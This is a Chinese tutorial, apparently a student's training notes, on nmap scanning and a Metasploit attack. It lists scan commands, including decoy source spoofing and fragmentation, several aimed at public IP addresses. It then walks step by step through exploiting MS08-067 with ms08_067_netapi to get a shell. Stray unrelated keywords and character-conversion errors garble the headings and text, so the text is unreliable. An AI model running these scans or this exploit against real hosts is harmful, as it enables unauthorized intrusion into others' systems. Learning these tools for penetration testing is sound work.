本期內容:nmap掃描、msfconsole攻擊入門
shell
1. nmap掃描進階windows
2.msfconsole攻擊入門api
1.nmap掃描進階
(1)nmap命令服務器
nmap --sP -iL abin.txt (從abin.txt導入ip地址列表進行掃描,-sP主機存貨判斷) nmap -A 120.55.226.24 (啓用操做系統檢測,版本檢測,腳本掃描和跟蹤路由) nmap -sS 120.55.226.24 (半鏈接掃描) nmap -sT 120.55.226.24 (全鏈接掃描) nmap -sU 120.55.226.24 (udp掃描) nmap -D 1.1.1.1 192.168.1.102 (假裝地址爲1.1.1.1) nmap --mtu 8 192.168.1.102 (指定每一個掃描包的大小)
(2)漏洞掃描post
cd /usr/share/nmap/scripts (nmap漏洞掃描腳本在/usr/share/nmap/scripts下) nmap --script=http-robots.txt 120.55.226.24 (scripts後面參數爲腳本名稱)
(3)SYN,FIN,ACK,PSH,RST,URG做用:
URG:緊急標誌
ACK:確認標誌
PSH:表示有DATA數據傳輸
RST:重置,用於復位相應的TCP鏈接
SYN:請求連接
FIN:停止連接
(4)操做實例編碼
nmap -A -iL abin.txt
nmap -sS 119.29.221.132
nmap -sT 119.29.221.132 (全鏈接掃描的結果更準確,但更容易被發現)
nmap -sU 119.29.221.132
2.msfconsole攻擊入門操作系統
PTES標準:.net
1-前期交互階段3d
2-情報收集階段code
3-威脅建模階段
4-漏洞分析階段
5-滲透攻擊階段
6-後滲透攻擊階段
7-報告階段
參考文章:https://blog.csdn.net/galaxy96/article/details/53334503
(1)進入msfconsole,命令:msfconsole
從如下提示,咱們能夠了解到:
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msfconsole包含4部份內容,分別爲攻擊模塊、輔助模塊、利用模塊、編碼模塊。
(2)查找漏洞模塊
經過前期信息收集,咱們發現實驗服務器存在ms08-067漏洞,因此直接搜索模塊。
search MS08-067
(3)使用對用攻擊模塊
use exploit/windows/smb/ms08_067_netapi
(4)設置參數
首先使用show options查看須要設置的參數,其中,顯示yes的都是必須設置的選項。
而後使用set 命令設置參數的值:
set RHOST 192.168.183.132
(5)執行攻擊
exploit
因爲以前使用kali攻擊,一直沒有成功,出現如下錯誤:
因爲時間實訓緊,因此也沒再深究,等有時間再來看一下。我使用bt5就能夠攻擊成功,繼續如下的步驟。
(6)攻擊成功界面,輸入shell進入dos界面。